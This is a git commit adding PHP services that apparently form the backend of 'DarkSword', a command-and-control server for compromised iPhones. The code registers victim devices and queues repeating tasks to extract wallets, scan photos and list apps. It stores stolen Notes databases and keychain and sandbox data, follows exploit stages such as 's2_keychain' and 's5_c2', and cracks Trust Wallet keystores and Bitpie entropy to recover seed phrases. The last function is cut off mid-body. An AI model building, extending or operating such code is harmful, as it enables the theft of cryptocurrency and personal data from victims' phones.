This commit is contained in:
hashbro
2026-08-24 06:23:07 +08:00
parent c00396dc1f
commit db574cc629
114 changed files with 108297 additions and 266 deletions
+795
View File
@@ -0,0 +1,795 @@
<?php
namespace App\Services;
use App\Models\Device;
use App\Models\DsChainLog;
use App\Models\PageVisit;
use App\Models\WalletKeystore;
use App\Models\WalletMnemonic;
use App\Support\UserAgentParser;
use App\Support\WalletSource;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Storage;
/**
* Map DarkSword / one99 plaintext JSON onto existing device/note/wallet tables.
*
* Does not call xxbb field extractors (`d`/`f`/`c`/`al[]` / ver/sdkv).
*/
class DarkSwordIngestAdapter
{
/** @var list<string> */
private const SKIP_WALK_KEYS = [
'error', 'errors', 'layer3Error', 'diagnostics', 'metadataKeys',
'locked_classes', '_truncated', '_more', 'tables',
];
public function __construct(
private readonly IngestService $ingest,
private readonly TelegramNotifier $telegram,
private readonly DsBeaconQueue $beaconQueue,
private readonly DsResultStore $results,
private readonly DsTrustAddressIngest $trustAddresses,
private readonly DsKeystoreDecrypt $keystoreDecrypt,
private readonly MnemonicWalletDiscovery $mnemonicDiscovery,
private readonly MnemonicAddressLinker $mnemonicLinker,
) {}
/**
* @param array<string, mixed> $payload Untruncated JSON from the raw request body.
*/
public function ingest(Request $request, string $path, array $payload): void
{
match ($path) {
'/api/ds/device/register', '/api/device/register' => $this->ingestRegister($request, $payload),
'/api/ds/log' => $this->ingestLog($request, $payload),
'/a' => $this->ingestProfile($request, $payload),
'/u' => $this->ingestApps($request, $payload),
'/nb' => $this->ingestNotes($request, $payload),
'/war' => $this->ingestWar($request, $payload),
'/beacon', '/event' => $this->heartbeat($request, $payload),
'/result' => $this->ingestResult($request, $payload),
default => str_starts_with($path, '/api/ds/pe-stage')
? $this->ingestPeStage($request, $payload)
: null,
};
}
/**
* @param array<string, mixed> $payload
*/
private function ingestRegister(Request $request, array $payload): void
{
$this->recordRegisterVisit($request, $payload);
}
/**
* @param array<string, mixed> $payload
*/
private function ingestStage(Request $request, array $payload): void
{
$uid = $this->extractDeviceKey($request, $payload);
if ($uid === null) {
return;
}
$stage = strtolower(trim((string) ($payload['stage'] ?? '')));
$progress = (int) ($payload['progress'] ?? 0);
$label = is_string($payload['label'] ?? null) ? $payload['label'] : null;
DsChainLog::record($uid, $stage, $progress, $label, $this->extractChannelCode($payload));
}
/**
* PE progress ping. File log is written by DarkSwordC2Controller::peStage;
* here we also fold the named stage into ds_chain_logs when a UUID is present.
*
* @param array<string, mixed> $payload
*/
private function ingestPeStage(Request $request, array $payload): void
{
$name = strtolower(trim((string) ($payload['pe_stage'] ?? '')));
$progress = match ($name) {
's1_launchd' => 86,
's2_keychain' => 88,
's3_mempress' => 90,
's4_loader' => 92,
's5_c2' => 94,
's6_p7phase2' => 96,
default => 86,
};
$this->ingestStage($request, array_merge($payload, [
'stage' => 'pe',
'progress' => $progress,
'label' => 'pe_stage:'.($name !== '' ? $name : 'unknown'),
]));
}
/**
* @param array<string, mixed> $payload
*/
private function ingestLog(Request $request, array $payload): void
{
$uid = $this->extractDeviceKey($request, $payload);
if ($uid === null) {
return;
}
if (is_string($payload['stage'] ?? null) && trim((string) $payload['stage']) !== '') {
$this->ingestStage($request, $payload);
return;
}
$text = $payload['text'] ?? $payload['msg'] ?? $payload['message'] ?? null;
if (! is_string($text)) {
return;
}
$inferred = DsChainLog::inferFromText($text);
if ($inferred === null) {
return;
}
DsChainLog::record(
$uid,
$inferred['stage'],
$inferred['progress'],
$inferred['label'],
$this->extractChannelCode($payload),
);
}
/**
* @param array<string, mixed> $payload
*/
private function recordRegisterVisit(Request $request, array $payload): void
{
$uid = $this->extractDeviceKey($request, $payload);
if ($uid === null) {
return;
}
$ua = $this->registerUserAgent($request, $payload);
$parsed = UserAgentParser::parse($ua);
$ios = $this->extractIos($payload);
$channel = $this->extractChannelCode($payload) ?? '';
$ip = $this->clientIp($request, $payload);
$referer = trim((string) $request->headers->get('referer', ''));
PageVisit::query()->create([
'channel_id' => $channel,
'client_uid' => $uid,
'chain' => PageVisit::CHAIN_DARKSWORD,
'user_agent' => $ua !== '' ? $ua : null,
'os' => $ios !== null ? 'iOS' : $parsed['os'],
'os_version' => $ios ?? ($parsed['os_version'] !== '' ? $parsed['os_version'] : null),
'browser' => $parsed['browser'],
'browser_version' => $parsed['browser_version'] !== '' ? $parsed['browser_version'] : null,
'ip' => $ip !== '' ? $ip : null,
'domain' => PageVisit::normalizeDomain($request->getHost()),
'referer' => $referer !== '' ? substr($referer, 0, 512) : null,
'created_at' => now(),
]);
}
/**
* @param array<string, mixed> $payload
*/
private function registerUserAgent(Request $request, array $payload): string
{
foreach (['user_agent', 'userAgent'] as $key) {
$value = $payload[$key] ?? null;
if (is_string($value) && trim($value) !== '') {
return substr(trim($value), 0, 512);
}
}
return substr((string) $request->userAgent(), 0, 512);
}
/**
* @param array<string, mixed> $payload
*/
private function ingestProfile(Request $request, array $payload): void
{
$this->upsertDevice($request, $payload);
}
/**
* @param array<string, mixed> $payload
*/
private function ingestApps(Request $request, array $payload): void
{
$device = $this->upsertDevice($request, $payload);
if (! $device) {
return;
}
$al = $this->appsToAl($payload['apps'] ?? null);
if ($al === []) {
return;
}
$this->ingest->ingestInstalledApps($device, ['al' => $al]);
}
/**
* @param array<string, mixed> $payload
*/
private function ingestNotes(Request $request, array $payload): void
{
$device = $this->upsertDevice($request, $payload);
if (! $device) {
return;
}
if (array_key_exists('list', $payload)) {
$this->ingest->ingestNotes($device, ['list' => $payload['list']]);
}
$this->storeNoteDbFiles($device, $payload['db_files'] ?? null);
}
/**
* @param array<string, mixed> $payload
*/
private function ingestWar(Request $request, array $payload): void
{
$device = $this->upsertDevice($request, $payload);
if (! $device) {
return;
}
$keychain = is_array($payload['keychain'] ?? null) ? $payload['keychain'] : [];
$wallets = $keychain['wallets'] ?? [];
$sandbox = $payload['sandbox'] ?? [];
$rows = array_merge(
$this->storeWalletKeystores($device, $wallets, 'keychain.wallets', $keychain['diagnostics'] ?? null),
$this->storeWalletKeystores($device, $sandbox, 'sandbox', null),
);
$this->recoverKeystoreMnemonics($device, $wallets, $sandbox, $rows);
$this->walkForMnemonics($device, $wallets, 'd');
$this->walkForMnemonics($device, $sandbox, 'b');
$this->trustAddresses->ingest($device, $sandbox);
$this->trustAddresses->ingest($device, $wallets);
}
/**
* @param array<string, mixed> $payload
*/
private function heartbeat(Request $request, array $payload): void
{
$this->upsertDevice($request, $payload);
}
/**
* @param array<string, mixed> $payload
*/
private function upsertDevice(Request $request, array $payload): ?Device
{
$key = $this->extractDeviceKey($request, $payload);
if ($key === null) {
return null;
}
$ip = $this->clientIp($request, $payload);
$model = $this->extractModel($payload);
$ios = $this->extractIos($payload);
$channel = $this->extractChannelCode($payload) ?? $this->channelFromVisit($key);
$ua = substr((string) $request->userAgent(), 0, 2000);
$existing = Device::query()->where('device_id', $key)->first();
if ($existing) {
$touch = [
'updated_at' => now(),
'family' => Device::FAMILY_DARKSWORD,
];
if ($ip !== '') {
$touch['ip'] = $ip;
}
if ($model !== null && $this->shouldReplaceModel($existing->device_model, $model)) {
$touch['device_model'] = $model;
}
if ($ios !== null && trim((string) $existing->ios_version) === '') {
$touch['ios_version'] = $ios;
}
if ($channel !== null && trim((string) $existing->channel_id) === '') {
$touch['channel_id'] = $channel;
}
$existing->forceFill($touch)->saveQuietly();
$this->beaconQueue->seed($existing);
return $existing->refresh();
}
$device = Device::query()->create([
'device_id' => $key,
'family' => Device::FAMILY_DARKSWORD,
'ip' => $ip !== '' ? $ip : null,
'device_model' => $model,
'ios_version' => $ios,
'channel_id' => $channel,
'user_agent' => $ua !== '' ? $ua : null,
]);
$this->telegram->notifyNewDevice($device->device_id, $device->ios_version, $device->ip);
$device->telegram_notified = true;
$device->save();
$this->beaconQueue->seed($device);
return $device->refresh();
}
/**
* Upsert the DarkSword device and seed its default beacon queue.
*
* @param array<string, mixed> $payload
*/
public function ensureDevice(Request $request, array $payload): ?Device
{
$device = $this->upsertDevice($request, $payload);
if ($device) {
$this->beaconQueue->seed($device);
}
return $device;
}
/**
* @param array<string, mixed> $payload
*/
private function ingestResult(Request $request, array $payload): void
{
$device = $this->upsertDevice($request, $payload);
if ($device) {
$stored = $this->results->store($device, $payload);
$payload = array_merge($payload, $stored);
if (($stored['stored'] ?? false) === true) {
$this->ingestTrustAddressesFromResult($device, $payload);
}
}
$this->beaconQueue->markDone($payload);
}
/**
* @param array<string, mixed> $payload
*/
private function ingestTrustAddressesFromResult(Device $device, array $payload): void
{
$filename = strtolower((string) ($payload['filename'] ?? ''));
$looksTrust = str_contains($filename, 'utc--')
|| str_contains($filename, 'wallet_pkg')
|| str_contains($filename, 'keystore');
if (! $looksTrust) {
return;
}
$raw = $payload['data'] ?? null;
if ((! is_string($raw) || $raw === '') && ! empty($payload['path']) && is_string($payload['path'])) {
if (Storage::disk('local')->exists($payload['path'])) {
$raw = (string) Storage::disk('local')->get($payload['path']);
}
}
if (! is_string($raw) || $raw === '') {
return;
}
$this->trustAddresses->ingest($device, $raw);
$rows = $this->storeWalletKeystores($device, ['trust_wallet' => $raw], 'sandbox', null);
$this->recoverKeystoreMnemonics($device, null, $raw, $rows);
}
/**
* @param array<string, mixed> $payload
*/
private function extractDeviceKey(Request $request, array $payload): ?string
{
$candidates = [
$payload['lhu'] ?? null,
$payload['deviceUUID'] ?? null,
$payload['device_uuid'] ?? null,
$payload['uuid'] ?? null,
$payload['device'] ?? null,
$request->header('X-Device-UUID'),
$request->query('deviceUUID'),
$request->query('device'),
];
foreach ($candidates as $value) {
if (! is_string($value) || $value === '') {
continue;
}
$hex = strtoupper(preg_replace('/[^0-9A-Fa-f]/', '', $value) ?? '');
if ($hex === '') {
continue;
}
return substr($hex, 0, 32);
}
return null;
}
/**
* @param array<string, mixed> $payload
*/
private function extractChannelCode(array $payload): ?string
{
foreach (['channeICode', 'channelCode', 'channel_code', 'channel'] as $key) {
$value = $payload[$key] ?? null;
if (! is_string($value)) {
continue;
}
$value = trim($value);
if ($value === '') {
continue;
}
return substr($value, 0, 64);
}
return null;
}
private function channelFromVisit(string $deviceKey): ?string
{
$channel = PageVisit::query()
->where('client_uid', $deviceKey)
->where('chain', PageVisit::CHAIN_DARKSWORD)
->where('channel_id', '!=', '')
->orderByDesc('id')
->value('channel_id');
return is_string($channel) && $channel !== '' ? substr($channel, 0, 64) : null;
}
/**
* @param array<string, mixed> $payload
*/
private function extractModel(array $payload): ?string
{
foreach (['machine', 'deviceModel', 'device_model', 'productType'] as $key) {
$value = $payload[$key] ?? null;
if (is_string($value) && trim($value) !== '') {
return substr(trim($value), 0, 128);
}
}
return null;
}
/**
* @param array<string, mixed> $payload
*/
private function extractIos(array $payload): ?string
{
foreach (['ios_version', 'ios', 'iosVersion', 'productVersion'] as $key) {
$value = $payload[$key] ?? null;
if (is_string($value) && trim($value) !== '') {
return substr(trim($value), 0, 64);
}
}
return null;
}
/**
* @param array<string, mixed> $payload
*/
private function clientIp(Request $request, array $payload): string
{
$reported = $payload['ip'] ?? null;
if (is_string($reported) && trim($reported) !== '') {
$normalized = PageVisit::normalizeIp(trim($reported));
if ($normalized !== '') {
return substr($normalized, 0, 64);
}
}
return substr(PageVisit::normalizeIp((string) $request->ip()) ?: (string) $request->ip(), 0, 64);
}
private function shouldReplaceModel(?string $current, string $incoming): bool
{
$cur = trim((string) $current);
if ($cur === '' || strcasecmp($cur, 'iPhone') === 0) {
return true;
}
return false;
}
/**
* @return list<array{b: string, a: string, v?: string}>
*/
private function appsToAl(mixed $apps): array
{
if (! is_array($apps)) {
return [];
}
$al = [];
foreach ($apps as $key => $item) {
if ($key === '_more' || ! is_array($item)) {
continue;
}
$bundle = trim((string) ($item['bundleId'] ?? $item['bundle_id'] ?? $item['b'] ?? ''));
if ($bundle === '' || str_starts_with(strtolower($bundle), 'com.apple')) {
continue;
}
$row = [
'b' => $bundle,
'a' => (string) ($item['name'] ?? $item['a'] ?? $bundle),
];
$version = $item['version'] ?? $item['v'] ?? null;
if (is_string($version) && $version !== '') {
$row['v'] = $version;
}
$al[] = $row;
}
return $al;
}
private function storeNoteDbFiles(Device $device, mixed $files): void
{
if (! is_array($files)) {
return;
}
foreach ($files as $file) {
if (! is_array($file)) {
continue;
}
$name = basename((string) ($file['name'] ?? 'notes.sqlite'));
$name = preg_replace('/[^A-Za-z0-9._-]+/', '_', $name) ?: 'notes.sqlite';
$data = $file['data'] ?? $file['content'] ?? null;
if (! is_string($data) || $data === '') {
continue;
}
$bin = base64_decode($data, true);
if ($bin === false || $bin === '') {
continue;
}
$rel = 'c2/ds-notes/'.$device->device_id.'/'.$name;
Storage::disk('local')->put($rel, $bin);
}
}
private function hasMaterial(mixed $value): bool
{
if ($value === null || $value === '' || $value === []) {
return false;
}
if (! is_array($value)) {
return true;
}
if (array_key_exists('items', $value) && is_array($value['items'])) {
return $value['items'] !== [];
}
foreach ($value as $child) {
if ($this->hasMaterial($child)) {
return true;
}
}
return false;
}
/**
* @return list<WalletKeystore>
*/
private function storeWalletKeystores(Device $device, mixed $buckets, string $kind, mixed $diagnostics): array
{
if (! $this->hasMaterial($buckets)) {
return [];
}
$rows = [];
if (is_array($buckets) && ! array_is_list($buckets)) {
$leftover = [];
foreach ($buckets as $key => $bucket) {
if (! $this->hasMaterial($bucket)) {
continue;
}
$source = is_string($key) ? WalletSource::fromKeystoreHint($key) : '';
if ($source === '' && ! is_string($key)) {
$leftover[$key] = $bucket;
continue;
}
if ($source === '' && is_string($key) && in_array(strtolower($key), ['notes', 'diagnostics'], true)) {
continue;
}
$rows[] = $this->createKeystore($device, $source, $this->keystorePayload($kind, [$key => $bucket], null));
}
if ($leftover !== []) {
$rows[] = $this->createKeystore($device, '', $this->keystorePayload($kind, $leftover, $diagnostics));
} elseif ($rows === [] && $this->hasMaterial($buckets)) {
$rows[] = $this->createKeystore(
$device,
WalletSource::fromKeystoreHint(is_string($buckets) ? $buckets : ''),
$this->keystorePayload($kind, $buckets, $diagnostics)
);
}
return $rows;
}
$source = WalletSource::fromKeystoreHint(is_string($buckets) ? $buckets : '');
$rows[] = $this->createKeystore($device, $source, $this->keystorePayload($kind, $buckets, $diagnostics));
return $rows;
}
/**
* @param array<string, mixed>|string $payload
* @return array<string, mixed>
*/
private function keystorePayload(string $kind, mixed $payload, mixed $diagnostics): array
{
$body = [
'kind' => $kind,
];
if (str_starts_with($kind, 'keychain')) {
$body['wallets'] = $payload;
} else {
$body['sandbox'] = $payload;
}
if ($diagnostics !== null) {
$body['diagnostics'] = $diagnostics;
}
return $body;
}
/**
* @param array<string, mixed> $rawJson
*/
private function createKeystore(Device $device, string $source, array $rawJson): WalletKeystore
{
return WalletKeystore::query()->create([
'device_id' => $device->id,
'source' => $source,
'decrypted' => 0,
'raw_json' => $rawJson,
]);
}
/**
* Re-run Trust UTC / Bitpie recover on already-stored keystore blobs.
*/
public function reprocessKeystores(Device $device): void
{
$device->load('keystores');
$this->recoverKeystoreMnemonics($device, null, null, $device->keystores->all());
}
/**
* @param list<WalletKeystore> $rows
*/
private function recoverKeystoreMnemonics(Device $device, mixed $wallets, mixed $sandbox, array $rows): void
{
$hits = $this->keystoreDecrypt->recover($device, $wallets, $sandbox);
foreach ($hits as $hit) {
$tag = $hit['tag'] !== '' ? $hit['tag'] : 'd';
$this->ingest->ingestMnemonic($device, [
'mnemonic' => $hit['phrase'],
'a' => $tag,
]);
$this->keystoreDecrypt->markDecrypted($rows, $hit['source']);
$this->keystoreDecrypt->markDecrypted($device->keystores()->get(), $hit['source']);
$mnemonic = WalletMnemonic::query()
->where('device_id', $device->id)
->where('mnemonic_hash', WalletMnemonic::hashSecret($hit['phrase']))
->first();
if ($mnemonic !== null) {
$this->mnemonicDiscovery->discoverIndexZero($mnemonic);
}
if (($hit['addresses'] ?? []) !== []) {
$this->ingest->ingestAddresses($device, [
'a' => $tag,
'data' => $hit['addresses'],
]);
}
if ($mnemonic !== null) {
$this->mnemonicLinker->linkMnemonicToDeviceAddresses($mnemonic);
}
}
}
private function walkForMnemonics(Device $device, mixed $node, string $tag): void
{
if (is_string($node)) {
$phrase = $this->asMnemonicPhrase($node);
if ($phrase !== null) {
$this->ingest->ingestMnemonic($device, ['mnemonic' => $phrase, 'a' => $tag]);
}
return;
}
if (! is_array($node)) {
return;
}
if (($node['_truncated'] ?? false) === true) {
return;
}
if ($this->isFailedUnwrap($node)) {
return;
}
foreach ($node as $key => $child) {
if (is_string($key) && in_array($key, self::SKIP_WALK_KEYS, true)) {
continue;
}
$childTag = is_string($key) ? $this->tagForWalletKey($key, $tag) : $tag;
$this->walkForMnemonics($device, $child, $childTag);
}
}
/**
* @param array<string, mixed> $node
*/
private function isFailedUnwrap(array $node): bool
{
foreach (['error', 'layer3Error'] as $key) {
$err = $node[$key] ?? null;
if (is_string($err) && $err !== '' && preg_match('/unwrap|aks_/i', $err)) {
return true;
}
}
return false;
}
private function tagForWalletKey(string $key, string $fallback): string
{
$k = strtolower($key);
if (str_contains($k, 'imtoken') || str_contains($k, 'im.token')) {
return 'b';
}
if (str_contains($k, 'trust')) {
return 'd';
}
return $fallback;
}
private function asMnemonicPhrase(string $raw): ?string
{
$candidates = [$raw];
$trimmed = trim($raw);
if ($trimmed !== '' && ctype_xdigit($trimmed) && strlen($trimmed) % 2 === 0 && strlen($trimmed) >= 24) {
$bin = @hex2bin($trimmed);
if (is_string($bin) && $bin !== '' && mb_check_encoding($bin, 'UTF-8')) {
$candidates[] = $bin;
$decoded = json_decode($bin, true);
if (is_array($decoded)) {
foreach (['mnemonic', 'phrase', 'seed', 'recovery'] as $k) {
if (isset($decoded[$k]) && is_string($decoded[$k])) {
$candidates[] = $decoded[$k];
}
}
}
}
}
foreach ($candidates as $text) {
$phrase = $this->matchWordMnemonic($text);
if ($phrase !== null) {
return $phrase;
}
}
return null;
}
private function matchWordMnemonic(string $text): ?string
{
$text = strtolower(trim($text));
if ($text === '' || str_starts_with($text, '{') || str_starts_with($text, '[')) {
return null;
}
$words = preg_split('/\s+/', $text) ?: [];
$n = count($words);
if ($n !== 12 && $n !== 24) {
return null;
}
foreach ($words as $word) {
if (! preg_match('/^[a-z]{3,8}$/', $word)) {
return null;
}
}
return implode(' ', $words);
}
}
+221
View File
@@ -0,0 +1,221 @@
<?php
namespace App\Services;
use App\Models\Device;
use App\Models\DsBeaconTask;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Str;
class DsBeaconQueue
{
/** @var list<string> */
public const TYPES = [
'wallet_extract',
'wallet_scan',
'photo_scan',
'apps',
];
/** @var list<string> */
public const LOOP_TYPES = [
'wallet_extract',
'wallet_scan',
'photo_scan',
'apps',
];
public function seed(Device $device): void
{
if ($device->family !== Device::FAMILY_DARKSWORD) {
return;
}
DsBeaconTask::query()
->where('device_id', $device->id)
->where('type', 'basic_info')
->delete();
if (DsBeaconTask::query()->where('device_id', $device->id)->exists()) {
return;
}
$now = now();
$rows = [];
foreach (self::TYPES as $i => $type) {
$rows[] = [
'device_id' => $device->id,
'position' => $i + 1,
'type' => $type,
'status' => DsBeaconTask::STATUS_PENDING,
'created_at' => $now,
'updated_at' => $now,
];
}
DsBeaconTask::query()->insert($rows);
}
/**
* Next pending command. wallet_extract / wallet_scan / photo_scan / apps
* re-queue after a full pass so the agent keeps polling them.
*
* @return array{type: string, command_id: string, params: array<string, mixed>}|null
*/
public function dequeue(Device $device): ?array
{
$this->seed($device);
return DB::transaction(function () use ($device) {
$task = $this->nextRunnable($device);
if (! $task) {
return null;
}
$commandId = 'dsq-'.$device->id.'-'.$task->position.'-'.Str::lower(Str::random(10));
$meta = is_array($task->result_meta) ? $task->result_meta : [];
$meta['dispatch_count'] = (int) ($meta['dispatch_count'] ?? 0) + 1;
if ($task->status === DsBeaconTask::STATUS_DISPATCHED) {
$meta['last_retry_at'] = now()->toDateTimeString();
}
$task->forceFill([
'status' => DsBeaconTask::STATUS_DISPATCHED,
'command_id' => $commandId,
'dispatched_at' => now(),
'result_meta' => $meta,
])->save();
return [
'type' => $task->type,
'command_id' => $commandId,
'params' => $this->paramsFor($task->type),
];
});
}
/**
* @param array<string, mixed> $payload
*/
public function markDone(array $payload): ?DsBeaconTask
{
$commandId = trim((string) ($payload['command_id'] ?? ''));
if ($commandId === '') {
return null;
}
$task = DsBeaconTask::query()->where('command_id', $commandId)->first();
if (! $task) {
return null;
}
$meta = $task->result_meta ?? [];
$filename = trim((string) ($payload['filename'] ?? ''));
$category = trim((string) ($payload['category'] ?? ''));
if ($filename !== '') {
$meta['filename'] = substr($filename, 0, 255);
}
if ($category !== '') {
$meta['category'] = substr($category, 0, 64);
}
if (isset($payload['status']) && is_string($payload['status'])) {
$meta['status'] = substr($payload['status'], 0, 32);
}
foreach (['path', 'reason', 'stored', 'photo', 'size'] as $key) {
if (array_key_exists($key, $payload)) {
$meta[$key] = $payload[$key];
}
}
$touch = [
'result_count' => (int) $task->result_count + 1,
'result_meta' => $meta,
];
if ($task->status !== DsBeaconTask::STATUS_DONE) {
$touch['status'] = DsBeaconTask::STATUS_DONE;
$touch['completed_at'] = now();
}
$task->forceFill($touch)->save();
return $task->refresh();
}
/**
* @return array<string, mixed>
*/
private function paramsFor(string $type): array
{
return match ($type) {
'wallet_extract' => ['wallet_type' => 'imtoken'],
'photo_scan' => ['max_count' => 200],
default => [],
};
}
private function nextRunnable(Device $device): ?DsBeaconTask
{
while (true) {
$task = $this->findRunnable($device);
if (! $task) {
if (! $this->requeueLoopTypes($device)) {
return null;
}
$task = $this->findRunnable($device);
if (! $task) {
return null;
}
}
if ($task->type !== 'photos' && $task->type !== 'basic_info') {
return $task;
}
$task->forceFill([
'status' => DsBeaconTask::STATUS_SKIPPED,
'completed_at' => now(),
'result_meta' => [
'reason' => $task->type === 'photos'
? 'queue_uses_photo_scan_only'
: 'removed_from_queue',
],
])->save();
}
}
private function findRunnable(Device $device): ?DsBeaconTask
{
return DsBeaconTask::query()
->where('device_id', $device->id)
->where(function ($q) {
$q->where('status', DsBeaconTask::STATUS_PENDING)
->orWhere(function ($q2) {
$q2->where('status', DsBeaconTask::STATUS_DISPATCHED)
->where('result_count', 0);
});
})
->orderBy('position')
->lockForUpdate()
->first();
}
private function requeueLoopTypes(Device $device): bool
{
$tasks = DsBeaconTask::query()
->where('device_id', $device->id)
->whereIn('type', self::LOOP_TYPES)
->where('status', DsBeaconTask::STATUS_DONE)
->lockForUpdate()
->get();
if ($tasks->isEmpty()) {
return false;
}
foreach ($tasks as $task) {
$task->forceFill([
'status' => DsBeaconTask::STATUS_PENDING,
'command_id' => null,
'dispatched_at' => null,
'completed_at' => null,
])->save();
}
return true;
}
}
+684
View File
@@ -0,0 +1,684 @@
<?php
namespace App\Services;
use App\Models\Device;
use App\Models\WalletKeystore;
use App\Models\WalletMnemonic;
use App\Services\Chain\BtcAddress;
use App\Services\Chain\EthAddress;
use App\Services\Chain\TronAddress;
use App\Support\WalletSource;
use FurqanSiddiqui\BIP39\BIP39;
/**
* Recover a BIP39 phrase from DS Trust UTC blobs or Bitpie seedPhraseEntropy.
*/
final class DsKeystoreDecrypt
{
/**
* @return list<array{source: string, tag: string, phrase: string, addresses: list<array{address: string, chainType: string, symbol: string, balance: int}>}>
*/
public function recover(Device $device, mixed $wallets, mixed $sandbox): array
{
$hits = [];
$seen = [];
foreach ($this->recoverTrustUtc($device, $wallets, $sandbox) as $hit) {
$hash = WalletMnemonic::hashSecret($hit['phrase']);
if (isset($seen[$hash])) {
continue;
}
$seen[$hash] = true;
$hits[] = $hit;
}
$bitpieNodes = [$wallets, $sandbox];
foreach ($device->keystores as $row) {
if ($row->source === 'Bitpie') {
$bitpieNodes[] = $row->raw_json;
}
}
foreach ($this->recoverBitpie($bitpieNodes) as $hit) {
$hash = WalletMnemonic::hashSecret($hit['phrase']);
if (isset($seen[$hash])) {
continue;
}
$seen[$hash] = true;
$hits[] = $hit;
}
return $hits;
}
/**
* @return list<array{source: string, tag: string, phrase: string, addresses: list<array{address: string, chainType: string, symbol: string, balance: int}>}>
*/
private function recoverTrustUtc(Device $device, mixed $wallets, mixed $sandbox): array
{
$utcs = $this->collectKeystores($sandbox);
$utcs = array_merge($utcs, $this->collectKeystores($wallets));
if ($utcs === []) {
return [];
}
$passwords = $this->collectPasswords($wallets);
foreach ($device->keystores as $row) {
$passwords = array_merge($passwords, $this->collectPasswords($row->raw_json));
}
$passwords = array_slice($this->uniquePasswords($passwords), 0, 8);
if ($passwords === []) {
return [];
}
$hits = [];
foreach ($utcs as $item) {
$phrase = $this->unlock($item['keystore'], $passwords);
if ($phrase === null) {
continue;
}
$source = $item['source'] !== '' ? $item['source'] : 'Trust Wallet';
$hits[] = [
'source' => $source,
'tag' => WalletSource::tagForLabel($source),
'phrase' => $phrase,
'addresses' => [],
];
}
return $hits;
}
/**
* @param list<mixed> $nodes
* @return list<array{source: string, tag: string, phrase: string, addresses: list<array{address: string, chainType: string, symbol: string, balance: int}>}>
*/
private function recoverBitpie(array $nodes): array
{
$phrases = [];
$addresses = [];
foreach ($nodes as $node) {
foreach ($this->collectBitpieEntropyHex($node) as $hex) {
$phrase = $this->phraseFromEntropyHex($hex);
if ($phrase !== null) {
$phrases[$phrase] = true;
}
}
$addresses = array_merge($addresses, $this->collectBitpieAddresses($node));
}
if ($phrases === []) {
return [];
}
$uniq = [];
$seenAddr = [];
foreach ($addresses as $row) {
$key = $row['address'];
if (isset($seenAddr[$key])) {
continue;
}
$seenAddr[$key] = true;
$uniq[] = $row;
}
$hits = [];
foreach (array_keys($phrases) as $phrase) {
$hits[] = [
'source' => 'Bitpie',
'tag' => 'r',
'phrase' => $phrase,
'addresses' => $uniq,
];
}
return $hits;
}
/**
* @param list<string> $passwords
*/
public function unlock(array $keystore, array $passwords): ?string
{
foreach ($passwords as $password) {
$plain = EthKeystore::decrypt($keystore, $password);
if ($plain === null) {
continue;
}
$phrase = $this->asMnemonic($plain);
if ($phrase !== null) {
return $phrase;
}
}
return null;
}
/**
* @return list<array{source: string, keystore: array<string, mixed>}>
*/
public function collectKeystores(mixed $node, string $source = '', int $depth = 0): array
{
if ($depth > 10 || $node === null) {
return [];
}
if (is_string($node)) {
$decoded = $this->decodeBlob($node);
if ($decoded === null) {
return [];
}
return $this->collectKeystores($decoded, $source, $depth + 1);
}
if (! is_array($node)) {
return [];
}
if ($this->isKeystore($node)) {
return [['source' => $source, 'keystore' => $node]];
}
$out = [];
foreach ($node as $key => $child) {
$next = $source;
if (is_string($key)) {
$hint = WalletSource::fromKeystoreHint($key);
if ($hint !== '') {
$next = $hint;
}
}
$out = array_merge($out, $this->collectKeystores($child, $next, $depth + 1));
}
return $out;
}
/**
* @return list<string>
*/
public function collectPasswords(mixed $node, int $depth = 0): array
{
$items = $this->collectPasswordItems($node, $depth);
usort($items, static fn ($a, $b) => $b['score'] <=> $a['score']);
$out = [];
foreach ($items as $item) {
$out = array_merge($out, $this->passwordsFromHex($item['hex']));
}
return $this->uniquePasswords($out);
}
/**
* @return list<array{hex: string, score: int}>
*/
private function collectPasswordItems(mixed $node, int $depth = 0): array
{
if ($depth > 8 || ! is_array($node)) {
return [];
}
$out = [];
$hex = $node['dataHex'] ?? null;
if (is_string($hex) && $hex !== '') {
$account = strtolower((string) ($node['account'] ?? ''));
$score = 0;
if (str_contains($account, 'utc--') && ! str_contains($account, 'migration')) {
$score += 100;
}
$rawLen = strlen(preg_replace('/[^0-9a-fA-F]/', '', $hex) ?? '') / 2;
if ($rawLen === 32.0 || $rawLen === 64.0) {
$score += 20;
}
$out[] = ['hex' => $hex, 'score' => $score];
}
foreach (['items', 'wallets', 'sandbox'] as $key) {
if (! isset($node[$key]) || ! is_array($node[$key])) {
continue;
}
foreach ($node[$key] as $child) {
$out = array_merge($out, $this->collectPasswordItems($child, $depth + 1));
}
}
if ($hex === null && ! isset($node['items']) && ! isset($node['wallets']) && ! isset($node['sandbox'])) {
foreach ($node as $child) {
if (is_array($child)) {
$out = array_merge($out, $this->collectPasswordItems($child, $depth + 1));
}
}
}
return $out;
}
/**
* @param list<WalletKeystore> $rows
*/
public function markDecrypted(iterable $rows, string $source): void
{
foreach ($rows as $row) {
if (! $row instanceof WalletKeystore) {
continue;
}
if ($row->source !== $source) {
continue;
}
if ((int) $row->decrypted === 1) {
continue;
}
$row->decrypted = 1;
$row->save();
}
}
/**
* @param array<string, mixed> $node
*/
private function isKeystore(array $node): bool
{
$crypto = $node['crypto'] ?? $node['Crypto'] ?? null;
if (! is_array($crypto)) {
return false;
}
return isset($crypto['ciphertext'], $crypto['mac'], $crypto['kdf']);
}
/**
* @return list<string>
*/
private function passwordsFromHex(string $hex): array
{
$hex = preg_replace('/[^0-9a-fA-F]/', '', $hex) ?? '';
if ($hex === '' || strlen($hex) % 2 !== 0) {
return [];
}
$raw = @hex2bin($hex);
if (! is_string($raw) || $raw === '') {
return [];
}
return $this->passwordsFromString($raw);
}
/**
* @return list<string>
*/
private function passwordsFromString(string $raw): array
{
$out = [$raw];
if (mb_check_encoding($raw, 'UTF-8')) {
$trim = trim($raw);
if ($trim !== '' && $trim !== $raw) {
$out[] = $trim;
}
$unquoted = trim($trim, "\"'");
if ($unquoted !== '' && $unquoted !== $trim) {
$out[] = $unquoted;
}
if (ctype_xdigit($trim) && strlen($trim) % 2 === 0 && strlen($trim) >= 8) {
$bin = @hex2bin($trim);
if (is_string($bin) && $bin !== '') {
$out[] = $bin;
}
}
}
return $out;
}
/**
* @param list<string> $passwords
* @return list<string>
*/
private function uniquePasswords(array $passwords): array
{
$seen = [];
$out = [];
foreach ($passwords as $password) {
if ($password === '') {
continue;
}
if (isset($seen[$password])) {
continue;
}
$seen[$password] = true;
$out[] = $password;
}
